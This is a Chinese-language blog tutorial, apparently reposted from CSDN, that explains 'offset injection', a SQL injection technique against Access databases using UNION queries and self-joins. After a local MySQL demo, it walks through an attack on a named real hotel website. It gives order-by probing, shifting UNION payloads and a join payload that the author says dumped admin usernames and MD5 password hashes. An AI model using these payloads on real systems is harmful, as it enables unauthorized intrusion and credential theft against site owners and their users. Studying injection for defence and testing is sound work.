Access偏移注入

Access偏移注入

应用场景

偏移注入是一种注入姿势,可以根据一个较多字段的表对一个少字段的表进行偏移注入,一般是联合查询,在页面有回显点的情况下。

当我们知道表名,字段名取名复杂,字典暴力破解字段名不成功,无法得知字段名,此时可以使用偏移注入进行查询。这种偏移注入方式往往借助个人人品,且步骤繁琐。

本地演示

phpstudy+Navicat

准备两张Mysql数据库表

admin

image-20201205215343014

test_1

image-20201205213357134

  • 查询测试:
select * from test_1 where id=1 union select * from admin

image-20201205213120246

出现报错:The used select statements have a different number of columns

原因是union两侧的查询结果的字段数不一致,test_1(9个字段),admin(4个字段)。

  • 更改sql语句再次测试:

适当增删后面的字段数,不断查询试错,当sql语句可以正常执行时此时后面的字段数等于test_1的字段数,如下图:

image-20201205214556190

union两侧查询结果字段数相等,sql语句可以正常执行,从而得知表test_1的字段数为10。

select admin.* from admin

admin.*表示admin表中的所有字段

  • 可以将admin.*用到查询字段中,利用不断试错判断出admin表中的字段数

image-20201205221243762

在上一步判断出表test_1的字段数为10,这时在admin.*的基础上追加6个字段时sql语句正常执行,说明表admin的字段数为10-6=4。

实战演示

http://www.ronghuhotel.com/Newsview.asp?id=-832 order by 16 回显正常

http://www.ronghuhotel.com/Newsview.asp?id=-832 order by 17 报错

说明字段数为16

  • 联合注入

用*代替一个字段,不断向前移位,知道回显正常为止。

payload: union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from admin 报错,继续向前移

payload: union select 1,2,3,4,5,6,7,8,9,10,12,13,14,* from admin 报错,继续向前移

直到:

http://www.ronghuhotel.com/Newsview.asp?id=-832union select 1,2,3,4,5,6,7,8,9,10,11,* from admin

成功回显:

image-20201206121223251

此时可以判断出admin表的字段数为16-11=5个

  • 偏移注入:

公式:order by出的字段数 - *的字段数✖2

代入:16-5✖2=6

构造payload: union select 1,2,3,4,5,6,* from (admin as a inner join admin as b on a.admin_id=b.admin_id)

返回公式,*的字段为什么要乘以2?

admin as a inner join admin as b on a.admin_id=b.admin_id

这句话相当于把admin表查询了两遍,这样就可以使 * 代表的字段拓宽,加大账号,密码在显示位出现的几率。也就是说此时的*代表这句话的查询结果,其字段数为admin的二倍,为了使union两侧查询结果字段数保持一致正常回显,从而计算出我们要凑的字段数。

输入payload成功爆出用户名和md5加密的密码:

image-20201206142311335

猜你喜欢

转载自blog.csdn.net/qq_43665434/article/details/110739543